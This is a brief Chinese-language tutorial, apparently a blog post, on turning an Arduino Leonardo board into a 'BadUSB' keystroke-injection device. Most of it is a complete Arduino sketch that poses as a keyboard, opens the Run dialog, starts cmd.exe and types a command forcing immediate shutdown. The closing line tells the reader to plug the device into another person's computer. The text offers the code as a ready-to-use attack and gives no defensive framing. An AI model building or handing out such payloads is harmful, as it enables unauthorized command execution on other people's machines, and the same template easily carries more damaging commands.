0x00
我们首先得下载Arduino,网站是Software | Arduino,然后购买Arduino Leonardo开发板,大约50多¥
0x01
打开Arduino,输入代码,验证,上传,把开发板插上,等待烧录完成。
//badusb
#include<Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(200);
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.println("cmd.exe");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("shutdown /s /t 00");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(200);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
0x03
烧录完成后,把badusb插到另一台电脑,成功关机!